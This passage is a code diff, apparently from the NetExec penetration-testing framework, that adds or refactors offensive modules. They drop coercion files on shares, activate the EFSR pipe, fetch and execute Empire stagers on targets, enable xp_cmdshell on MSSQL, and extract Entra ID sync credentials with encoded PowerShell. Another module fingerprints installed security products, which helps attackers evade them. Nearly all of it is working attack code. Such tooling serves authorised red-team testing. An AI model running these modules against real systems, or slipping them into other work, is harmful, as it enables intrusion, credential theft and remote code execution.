         self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms")
         if not self.cleanup:
             self.scfile_path = f"{tempfile.gettempdir()}/{self.filename}.searchConnector-ms"
-            scfile = open(self.scfile_path, "w")
-            scfile.truncate(0)
-            scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
-            scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
-            scfile.write("<description>Microsoft Outlook</description>")
-            scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
-            scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
-            scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
-            scfile.write("<templateInfo>")
-            scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
-            scfile.write("</templateInfo>")
-            scfile.write("<simpleLocation>")
-            scfile.write("<url>{}</url>".format(self.url))
-            scfile.write("</simpleLocation>")
-            scfile.write("</searchConnectorDescription>")
-            scfile.close()
+            with open(self.scfile_path, "w") as scfile:
+                scfile.truncate(0)
+                scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
+                scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
+                scfile.write("<description>Microsoft Outlook</description>")
+                scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
+                scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
+                scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
+                scfile.write("<templateInfo>")
+                scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
+                scfile.write("</templateInfo>")
+                scfile.write("<simpleLocation>")
+                scfile.write(f"<url>{self.url}</url>")
+                scfile.write("</simpleLocation>")
+                scfile.write("</searchConnectorDescription>")
 
     def on_login(self, context, connection):
         shares = connection.shares()
@@ -74,13 +68,12 @@ class NXCModule:
                     with open(self.scfile_path, "rb") as scfile:
                         try:
                             connection.conn.putFile(share["name"], self.file_path, scfile.read)
-                            context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
+                            context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms file on the {share['name']} share")
                         except Exception as e:
-                            context.log.exception(e)
-                            context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
+                            context.log.fail(f"Error writing {self.filename}.searchConnector-ms file on the {share['name']} share: {e}")
                 else:
                     try:
                         connection.conn.deleteFile(share["name"], self.file_path)
-                        context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
+                        context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the {share['name']} share")
                     except Exception as e:
-                        context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")
+                        context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms file on share {share['name']}: {e}")

nxc/modules/dump-computers.py

@@ -0,0 +1,66 @@
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    name = "dump-computers"
+    description = "Dumps all computers in the domain"
+    supported_protocols = ["ldap"]
+
+    def options(self, context, module_options):
+        """
+        TYPE        Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
+        OUTPUT      Output to file in addition to printing to console
+
+        Examples
+        --------
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
+        """
+        self.output_file = None
+        self.netbios_only = False
+        self.fqdn_only = False
+
+        if "OUTPUT" in module_options:
+            self.output_file = module_options["OUTPUT"]
+        if "TYPE" in module_options:
+            if module_options["TYPE"].lower() == "netbios":
+                self.netbios_only = True
+            elif module_options["TYPE"].lower() == "fqdn":
+                self.fqdn_only = True
+
+    def on_login(self, context, connection):
+        resp = connection.search(
+            searchFilter="(objectCategory=computer)",
+            attributes=["dNSHostName", "operatingSystem"]
+        )
+        resp_parsed = parse_result_attributes(resp)
+
+        answers = []
+        context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
+
+        for item in resp_parsed:
+            dns_host_name = item["dNSHostName"]
+            operating_system = item.get("operatingSystem", "Unknown OS")
+
+            if self.netbios_only:
+                netbios_name = dns_host_name.split(".")[0]
+                answer = netbios_name
+            elif self.fqdn_only:
+                answer = dns_host_name
+            else:
+                answer = f"{dns_host_name} ({operating_system})"
+            answers.append(answer)
+
+        context.log.success("Found the following computers:")
+        for answer in answers:
+            context.log.highlight(answer)
+
+        if self.output_file:
+            try:
+                with open(self.output_file, "w") as f:
+                    f.write("\n".join(answers) + "\n")
+                context.log.success(f"Results saved to {self.output_file}")
+            except Exception as e:
+                context.log.error(f"Failed to write to file {self.output_file}: {e}")

nxc/modules/efsr_spray.py

@@ -0,0 +1,110 @@
+import ntpath
+from nxc.helpers.misc import gen_random_string
+from nxc.context import Context
+from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
+from impacket.smbconnection import SessionError, SMBConnection
+
+
+def get_error_string(exception):
+    if hasattr(exception, "getErrorString"):
+        try:
+            es = exception.getErrorString()
+        except KeyError:
+            return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
+        if type(es) is tuple:
+            return es[0]
+        else:
+            return es
+    else:
+        return str(exception)
+
+
+class NXCModule:
+    """EFSR Spray Module
+    Module by @rtpt-romankarwacik
+    """
+
+    name = "efsr_spray"
+    description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
+    supported_protocols = ["smb"]
+    excluded_shares = ["SYSVOL"]
+
+    def options(self, context: Context, module_options: dict[str, str]):
+        """
+        FILE_NAME      Name of the file which will be tried to create and afterwards delete
+        SHARE_NAME     If set, ONLY this share will be used
+        EXCLUDED_SHARES List of share names which will not be used, seperated by comma
+        """
+        self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
+        self.share_name = module_options.get("SHARE_NAME")
+        if module_options.get("EXCLUDED_SHARES"):
+            self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
+
+    def on_login(self, context: Context, connection):
+        conn: SMBConnection = connection.conn  # Because typing is broken due to smb being a folder and a file >:(
+
+        try:
+            shares = conn.listShares()
+        except SessionError as e:
+            error = get_error_string(e)
+            context.log.fail(f"Error enumerating shares: {error}", color="magenta")
+            return
+
+        # Check if named pipe is already available
+        try:
+            named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
+            if "efsrpc" in named_pipe_names:
+                context.log.highlight("efsrpc named pipe is already available!")
+                # if it is already activated we just skip this computer
+                return
+        except SessionError as e:
+            error = get_error_string(e)
+            context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
+            return
+
+        # Write an encrypted file on the share root.
+        # This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
+        # but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
+        for share in shares:
+            share_name = share["shi1_netname"][:-1]
+            if self.share_name is not None and self.share_name != share_name:
+                continue
+
+            if share_name in self.excluded_shares:
+                continue
+
+            try:
+                context.log.debug(f"Connecting to share {share_name}...")
+                tid = conn.connectTree(share_name)
+            except SessionError as e:
+                context.log.debug(f"Could not connect to share {share_name}: {e}")
+                continue
+            try:
+                context.log.debug(f"Creating file in {share_name}...")
+                fid = conn.createFile(tid, self.file_name,
+                                      desiredAccess=FILE_SHARE_WRITE,
+                                      shareMode=FILE_SHARE_DELETE,
+                                      fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
+                conn.closeFile(tid, fid)
+                try:
+                    # this can happen when we have special permissions to create encrypted files
+                    conn.deleteFile(share_name, self.file_name)
+                except SessionError as e:
+                    error = get_error_string(e)
+                    if error == "STATUS_OBJECT_NAME_NOT_FOUND":
+                        pass
+                    context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
+            except SessionError as e:
+                context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
+
+        try:
+            tid = conn.connectTree("IPC$")
+            conn.waitNamedPipe(tid, "efsrpc", 10)
+            context.log.highlight("Successfully activated efsrpc named pipe!")
+        except SessionError as e:
+            error = get_error_string(e)
+            if error == "STATUS_OBJECT_NAME_NOT_FOUND":
+                context.log.debug("efsrpc pipe was not activated.")
+            else:
+                context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
+            return

nxc/modules/empire_exec.py

@@ -1,15 +1,7 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import sys
 import requests
 from requests import ConnectionError
 
-# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
-from requests.packages.urllib3.exceptions import InsecureRequestWarning
-
-requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
-
 
 class NXCModule:
     """
@@ -20,8 +12,6 @@ class NXCModule:
     name = "empire_exec"
     description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
     supported_protocols = ["smb", "mssql"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def options(self, context, module_options):
         """
@@ -38,10 +28,10 @@ class NXCModule:
 
         api_proto = "https" if "SSL" in module_options else "http"
 
-        obfuscate = True if "OBFUSCATE" in module_options else False
+        obfuscate = "OBFUSCATE" in module_options
         # we can use commands instead of backslashes - this is because Linux and OSX treat them differently
         default_obfuscation = "Token,All,1"
-        obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
+        obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
         context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
 
         # Pull the host and port from the config file
@@ -100,7 +90,7 @@ class NXCModule:
                 verify=False,
             )
         except ConnectionError:
-            context.log.fail(f"Unable to request stager from Empire's RESTful API")
+            context.log.fail("Unable to request stager from Empire's RESTful API")
             sys.exit(1)
 
         if stager_response.status_code not in [200, 201]:
@@ -111,7 +101,6 @@ class NXCModule:
             sys.exit(1)
 
         context.log.debug(f"Response Code: {stager_response.status_code}")
-        # context.log.debug(f"Response Content: {stager_response.text}")
 
         stager_create_data = stager_response.json()
         context.log.debug(f"Stager data: {stager_create_data}")
@@ -123,14 +112,13 @@ class NXCModule:
             verify=False,
         )
         context.log.debug(f"Response Code: {download_response.status_code}")
-        # context.log.debug(f"Response Content: {download_response.text}")
 
         self.empire_launcher = download_response.text
 
         if download_response.status_code == 200:
             context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
         else:
-            context.log.fail(f"Something went wrong when retrieving stager Powershell command")
+            context.log.fail("Something went wrong when retrieving stager Powershell command")
 
     def on_admin_login(self, context, connection):
         if self.empire_launcher:

nxc/modules/enable_cmdshell.py

@@ -0,0 +1,74 @@
+class NXCModule:
+    """
+    Enables or disables xp_cmdshell in MSSQL Server.
+    Module by crosscutsaw
+    """
+
+    name = "enable_cmdshell"
+    description = "Enable or disable xp_cmdshell in MSSQL Server"
+    supported_protocols = ["mssql"]
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+        self.action = None
+        self.advanced_options_backup = None  # Stores original value of 'show advanced options'
+
+    def options(self, context, module_options):
+        """
+        ACTION      enable or disable xp_cmdshell
+
+        Examples
+        --------
+        netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
+        netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
+        """
+        if "ACTION" in module_options:
+            self.action = module_options["ACTION"].lower()
+        else:
+            context.log.fail("Missing required option: ACTION (enable/disable)")
+            exit(1)
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+
+        if self.action == "enable":
+            self.toggle_xp_cmdshell(enable=True)
+        elif self.action == "disable":
+            self.toggle_xp_cmdshell(enable=False)
+        else:
+            self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
+
+    def backup_show_advanced_options(self):
+        """Backs up the current state of 'show advanced options'."""
+        query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
+        res = self.mssql_conn.sql_query(query)
+        if res:
+            self.advanced_options_backup = int(res[0]["value"])  # Convert to integer
+
+    def restore_show_advanced_options(self):
+        """Restores the original state of 'show advanced options' if needed."""
+        if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
+            self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
+
+    def toggle_xp_cmdshell(self, enable: bool):
+        """Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
+        state = "1" if enable else "0"
+
+        # Backup 'show advanced options' state
+        self.backup_show_advanced_options()
+
+        # Enable 'show advanced options' if it was disabled
+        self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
+
+        try:
+            # Enable or disable xp_cmdshell
+            self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
+            action_text = "enabled" if enable else "disabled"
+            self.context.log.success(f"xp_cmdshell successfully {action_text}.")
+        except Exception as e:
+            self.context.log.fail(f"Failed to execute command: {e}")
+
+        # Restore 'show advanced options' to its original state if needed
+        self.restore_show_advanced_options()

nxc/modules/entra-id.py

@@ -0,0 +1,81 @@
+
+import re
+
+from termcolor import colored
+from nxc.parsers.ldap_results import parse_result_attributes
+from nxc.config import host_info_colors
+
+
+class NXCModule:
+    """Module by @NeffIsBack"""
+
+    name = "entra-id"
+    description = "Find the Entra ID sync server"
+    supported_protocols = ["ldap"]
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+
+    def options(self, context, module_options):
+        """No options available."""
+
+    def on_login(self, context, connection):
+        self.context = context
+
+        # For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
+        msol_parsed = parse_result_attributes(connection.search(
+            searchFilter="(sAMAccountName=MSOL_*)",
+            attributes=["sAMAccountName", "cn", "description"],
+        ))
+        self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
+        adsync_parsed = parse_result_attributes(connection.search(
+            searchFilter="(sAMAccountName=ADSyncMSA*)",
+            attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
+        ))
+        self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
+
+        hosts = []
+        for acc in msol_parsed:
+            host = re.search(r"computer (?P<host>.*) configured", acc["description"])
+            if host:
+                hostname = host.group("host")
+                # Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
+                resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
+                ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
+
+                hosts.append({
+                    "hostname": hostname,
+                    "ip": ip,
+                    "msol_account": acc["sAMAccountName"],
+                })
+
+        for adsync in adsync_parsed:
+            # The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
+            identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
+            msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
+            self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
+
+            # Get the computer object for the ADSyncMSA service account
+            computer = parse_result_attributes(connection.search(
+                searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
+                attributes=["dNSHostName", "cn", "sAMAccountName"],
+            ))[0]
+
+            # If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
+            host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
+            if host and host["ip"]:   # Skip if host and IP are already set
+                self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
+                continue
+            elif host:                # If host exists but IP is not set, update it
+                host["ip"] = connection.resolver(computer["dNSHostName"])
+            else:                     # If host does not exist, create a new entry
+                hosts.append({
+                    "hostname": computer["cn"],
+                    "ip": connection.resolver(computer["dNSHostName"]),
+                })
+
+        if hosts:
+            self.context.log.success("Found Entra ID sync servers:")
+        for host in hosts:
+            self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))

nxc/modules/entra-sync-creds.py

@@ -0,0 +1,49 @@
+
+from base64 import b64encode
+from nxc.helpers.powershell import get_ps_script
+
+
+class NXCModule:
+    """
+    Example:
+    -------
+    Module by @NeffIsBack
+    """
+
+    name = "entra-sync-creds"
+    description = "Extract Entra ID sync credentials from the target host"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+
+        self.entra_id_psscript = ""
+
+        with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
+            for line in psFile:
+                if line.startswith("#") or line.strip() == "":
+                    continue
+                else:
+                    self.entra_id_psscript += line.strip() + "\n"
+
+    def options(self, context, module_options):
+        """No module options available."""
+
+    def on_admin_login(self, context, connection):
+        self.context = context
+
+        psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
+        out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
+
+        if "CLIXML" in out:
+            out = out.split("CLIXML")[1].split("<Objs Version")[0]
+
+        for line in out.splitlines():
+            if not line.strip():
+                continue
+            if "[!]" in line:
+                self.context.log.fail(line.replace("[!]", "").strip())
+            else:
+                self.context.log.highlight(line.strip())

nxc/modules/enum_av.py

@@ -1,12 +1,11 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 # All credit to @an0n_r0
-# project : https://github.com/tothi/serviceDetector
+# https://github.com/tothi/serviceDetector
+# Module by @mpgn_x64
+# https://twitter.com/mpgn_x64
 
-from impacket.dcerpc.v5 import lsat, lsad
+from impacket.dcerpc.v5 import lsat, lsad, transport
 from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
-from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 import pathlib
 
 
@@ -19,90 +18,86 @@ class NXCModule:
     name = "enum_av"
     description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def __init__(self, context=None, module_options=None):
         self.context = context
         self.module_options = module_options
 
     def options(self, context, module_options):
-        """ """
-        pass
+        """
+        """
 
     def on_login(self, context, connection):
-        success = 0
+        target = self._get_target(connection)
+        context.log.debug(f"Detecting installed services on {target} using LsarLookupNames()...")
+
+        results = self._detect_installed_services(context, connection, target)
+        self.detect_running_processes(context, connection, results)
+
+        self.dump_results(results, context)
+
+    def _get_target(self, connection):
+        return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
+
+    def _detect_installed_services(self, context, connection, target):
         results = {}
-        target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
-        context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target))
 
         try:
             lsa = LsaLookupNames(
-                connection.domain,
-                connection.username,
-                connection.password,
-                target,
-                connection.kerberos,
-                connection.domain,
-                connection.lmhash,
-                connection.nthash,
-                connection.aesKey,
+                domain=connection.domain,
+                username=connection.username,
+                password=connection.password,
+                remote_name=target,
+                do_kerberos=connection.kerberos,
+                remoteHost=connection.host,
+                kdcHost=connection.kdcHost,
+                lmhash=connection.lmhash,
+                nthash=connection.nthash,
+                aesKey=connection.aesKey
             )
-            dce, rpctransport = lsa.connect()
-            policyHandle = lsa.open_policy(dce)
 
-            for i, product in enumerate(conf["products"]):
+            dce, _ = lsa.connect()
+            policyHandle = lsa.open_policy(dce)
+            for product in conf["products"]:
                 for service in product["services"]:
                     try:
                         lsa.LsarLookupNames(dce, policyHandle, service["name"])
                         context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
-                        if product["name"] not in results:
-                            results[product["name"]] = {"services": []}
-                        results[product["name"]]["services"].append(service)
-                    except Exception as e:
+                        results.setdefault(product["name"], {"services": []})["services"].append(service)
+                    except Exception:
                         pass
-            success += 1
         except Exception as e:
             context.log.fail(str(e))
+        return results
 
+    def detect_running_processes(self, context, connection, results):
         context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...")
         try:
             for f in connection.conn.listPath("IPC$", "\\*"):
                 fl = f.get_longname()
-                for i, product in enumerate(conf["products"]):
+                for product in conf["products"]:
                     for pipe in product["pipes"]:
                         if pathlib.PurePath(fl).match(pipe["name"]):
-                            context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
-                            if product["name"] not in results:
-                                results[product["name"]] = {}
-                            if "pipes" not in results[product["name"]]:
-                                results[product["name"]]["pipes"] = []
-                            results[product["name"]]["pipes"].append(pipe)
-            success += 1
+                            context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
+                            prod_results = results.setdefault(product["name"], {})
+                            prod_results.setdefault("pipes", []).append(pipe)
         except Exception as e:
-            context.log.debug(str(e))
+            context.log.fail(str(e))
 
-        self.dump_results(results, connection.hostname, success, context)
+    def dump_results(self, results, context):
+        if not results:
+            context.log.highlight("Found NOTHING!")
+            return
 
-    def dump_results(self, results, remoteName, success, context):
-        # out1 = "On host {} found".format(remoteName)
-        out1 = ""
-        for item in results:
-            out = out1
-            if "services" in results[item]:
-                out += f"{item} INSTALLED"
-                if "pipes" in results[item]:
-                    out += " and it seems to be RUNNING"
-                # else:
-                #     for product in conf['products']:
-                #         if (item == product['name']) and (len(product['pipes']) == 0):
-                #             out += " (NamedPipe for this service was not provided in config)"
-            elif "pipes" in results[item]:
-                out += f" {item} RUNNING"
-            context.log.highlight(out)
-        if (len(results) < 1) and (success > 1):
-            out = out1 + " NOTHING!"
-            context.log.highlight(out)
+        for item, data in results.items():
+            message = f"Found {item}"
+            if "services" in data:
+                message += " INSTALLED"
+                if "pipes" in data:
+                    message += " and RUNNING"
+            elif "pipes" in data:
+                message += " RUNNING"
+            context.log.highlight(message)
 
 
 class LsaLookupNames:
@@ -121,7 +116,8 @@ class LsaLookupNames:
         username="",
         password="",
         remote_name="",
-        k=False,
+        do_kerberos=False,
+        remoteHost="",
         kdcHost="",
         lmhash="",
         nthash="",
@@ -132,11 +128,12 @@ class LsaLookupNames:
         self.password = password
         self.remoteName = remote_name
         self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
-        self.doKerberos = k
+        self.doKerberos = do_kerberos
         self.lmhash = lmhash
         self.nthash = nthash
         self.aesKey = aesKey
-        self.dcHost = kdcHost
+        self.kdcHost = kdcHost
+        self.remoteHost = remoteHost
 
     def connect(self, string_binding=None, iface_uuid=None):
         """Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -146,9 +143,10 @@ class LsaLookupNames:
         """
         string_binding = string_binding or self.string_binding
         if not string_binding:
-            raise NotImplemented("String binding must be defined")
+            raise NotImplementedError("String binding must be defined")
 
         rpc_transport = transport.DCERPCTransportFactory(string_binding)
+        rpc_transport.setRemoteHost(self.remoteHost)
 
         # Set timeout if defined
         if self.timeout:
@@ -160,14 +158,13 @@ class LsaLookupNames:
             rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
 
         if self.doKerberos:
-            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
+            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
 
         # Gets the DCE RPC object
         dce = rpc_transport.get_dce_rpc()
 
-        # Set the authentication level
-        if self.authn_level:
-            dce.set_auth_level(self.authn_level)
+        if self.doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
 
         # Connect
         dce.connect()
@@ -197,81 +194,73 @@ class LsaLookupNames:
         request["PolicyHandle"] = policyHandle
         request["Count"] = 1
         name1 = RPC_UNICODE_STRING()
-        name1["Data"] = "NT Service\{}".format(service)
+        name1["Data"] = f"NT Service\\{service}"
         request["Names"].append(name1)
         request["TranslatedSids"]["Sids"] = NULL
         request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
-        resp = dce.request(request)
-        return resp
+        return dce.request(request)
 
 
 conf = {
     "products": [
+        {
+            "name": "Acronis Cyber Protect Active Protection",
+            "services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
+            "pipes": []
+        },
         {
             "name": "Bitdefender",
             "services": [
-                {
-                    "name": "bdredline_agent",
-                    "description": "Bitdefender Agent RedLine Service",
-                },
+                {"name": "bdredline_agent", "description": "Bitdefender Agent RedLine Service"},
                 {"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"},
-                {
-                    "name": "UPDATESRV",
-                    "description": "Bitdefender Desktop Update Service",
-                },
+                {"name": "UPDATESRV", "description": "Bitdefender Desktop Update Service"},
                 {"name": "VSSERV", "description": "Bitdefender Virus Shield"},
                 {"name": "bdredline", "description": "Bitdefender RedLine Service"},
                 {"name": "EPRedline", "description": "Bitdefender Endpoint Redline Service"},
                 {"name": "EPUpdateService", "description": "Bitdefender Endpoint Update Service"},
                 {"name": "EPSecurityService", "description": "Bitdefender Endpoint Security Service"},
                 {"name": "EPProtectedService", "description": "Bitdefender Endpoint Protected Service"},
-                {"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"},
+                {"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"}
             ],
             "pipes": [
-                {
-                    "name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe",
-                    "processes": ["EPConsole.exe"],
-                },
-                {
-                    "name": "etw_sensor_pipe_ppl",
-                    "processes": ["EPProtectedService.exe"],
-                },
-                {
-                    "name": "local\\msgbus\\antitracker.low\\*",
-                    "processes": ["bdagent.exe"],
-                },
-                {
-                    "name": "local\\msgbus\\aspam.actions.low\\*",
-                    "processes": ["bdagent.exe"],
-                },
-                {
-                    "name": "local\\msgbus\\bd.process.broker.pipe",
-                    "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"],
-                },
+                {"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", "processes": ["EPConsole.exe"]},
+                {"name": "etw_sensor_pipe_ppl", "processes": ["EPProtectedService.exe"]},
+                {"name": "local\\msgbus\\antitracker.low\\*", "processes": ["bdagent.exe"]},
+                {"name": "local\\msgbus\\aspam.actions.low\\*", "processes": ["bdagent.exe"]},
+                {"name": "local\\msgbus\\bd.process.broker.pipe", "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"]},
                 {"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]},
-                {
-                    "name": "local\\msgbus\\bdauxsrv",
-                    "processes": ["bdagent.exe", "bdntwrk.exe"],
-                },
-            ],
+                {"name": "local\\msgbus\\bdauxsrv", "processes": ["bdagent.exe", "bdntwrk.exe"]}
+            ]
         },
         {
-            "name": "Windows Defender",
+            "name": "Carbon Black App Control",
+            "services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
+            "pipes": []
+        },
+        {
+            "name": "CrowdStrike",
+            "services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
+            "pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
+        },
+        {
+            "name": "Cortex",
             "services": [
-                {
-                    "name": "WinDefend",
-                    "description": "Windows Defender Antivirus Service",
-                },
-                {
-                    "name": "Sense",
-                    "description": "Windows Defender Advanced Threat Protection Service",
-                },
-                {
-                    "name": "WdNisSvc",
-                    "description": "Windows Defender Antivirus Network Inspection Service",
-                },
+                {"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
+                {"name": "cyserver", "description": " Cortex XDR"}
             ],
-            "pipes": [],
+            "pipes": []
+        },
+        {
+            "name": "Cybereason",
+            "services": [
+                {"name": "CybereasonActiveProbe", "description": "Cybereason Active Probe"},
+                {"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
+                {"name": "CybereasonBlocki", "description": "Cybereason Execution Prevention"}
+            ],
+            "pipes": [
+                {"name": "CybereasonAPConsoleMinionHostIpc_*", "processes": ["minionhost.exe"]},
+                {"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
+            ]
         },
         {
             "name": "ESET",
@@ -280,274 +269,153 @@ conf = {
                 {"name": "epfw", "description": "ESET"},
                 {"name": "epfwlwf", "description": "ESET"},
                 {"name": "epfwwfp", "description": "ESET"},
-                {"name": "EraAgentSvc", "description": "ESET"},
+                {"name": "EraAgentSvc", "description": "ESET Management Agent service"},
+                {"name": "ERAAgent", "description": "ESET Management Agent service"},
+                {"name": "efwd", "description": "ESET Communication Forwarding Service"},
+                {"name": "ehttpsrv", "description": "ESET HTTP Server"},
             ],
             "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
         },
         {
-            "name": "CrowdStrike",
+            "name": "G DATA Security Client",
             "services": [
-                {
-                    "name": "CSFalconService",
-                    "description": "CrowdStrike Falcon Sensor Service",
-                }
+                {"name": "AVKWCtl", "description": "Anti-virus Kit Window Control"},
+                {"name": "AVKProxy", "description": "G Data AntiVirus Proxy Service"},
+                {"name": "GDScan", "description": "GDSG Data AntiVirus Scan Service"}
             ],
             "pipes": [
-                {
